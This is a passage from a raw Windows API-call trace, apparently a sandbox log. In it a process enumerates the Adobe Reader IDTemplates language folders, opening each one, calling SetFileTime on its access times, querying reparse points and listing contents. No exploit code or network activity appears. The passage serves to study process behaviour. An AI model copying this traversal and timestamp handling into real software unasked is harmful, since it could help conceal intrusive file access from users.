ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.198] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.198] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.199] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.199] GetLastError () returned 0x12 [0251.199] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.199] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.199] GetLastError () returned 0x12 [0251.199] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.199] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.230] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.231] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.231] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.231] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.231] GetLastError () returned 0x12 [0251.231] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.231] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.231] GetLastError () returned 0x12 [0251.231] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.231] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.233] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.233] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.233] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.233] GetLastError () returned 0x12 [0251.233] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.233] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.233] GetLastError () returned 0x12 [0251.233] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.233] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.235] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.235] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.235] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.235] GetLastError () returned 0x12 [0251.235] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.235] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.235] GetLastError () returned 0x12 [0251.235] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.236] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\euq"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.236] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.236] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.236] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.236] GetLastError () returned 0x12 [0251.236] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.236] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.236] GetLastError () returned 0x12 [0251.236] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.236] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.238] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.238] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.238] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.238] GetLastError () returned 0x12 [0251.238] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.238] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.238] GetLastError () returned 0x12 [0251.238] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.238] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.239] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.239] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.239] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.239] GetLastError () returned 0x12 [0251.239] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.239] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.239] GetLastError () returned 0x12 [0251.239] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.240] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.240] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.240] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.241] GetLastError () returned 0x12 [0251.241] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.241] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.241] GetLastError () returned 0x12 [0251.241] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.241] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.241] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.241] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.241] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.242] GetLastError () returned 0x12 [0251.242] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.242] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.242] GetLastError () returned 0x12 [0251.242] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.242] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.243] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.243] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.243] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.243] GetLastError () returned 0x12 [0251.243] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.243] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.244] GetLastError () returned 0x12 [0251.244] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.244] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.245] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.245] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.245] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.245] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.245] GetLastError () returned 0x12 [0251.245] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.245] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.245] GetLastError () returned 0x12 [0251.245] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.245] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.247] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.247] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, 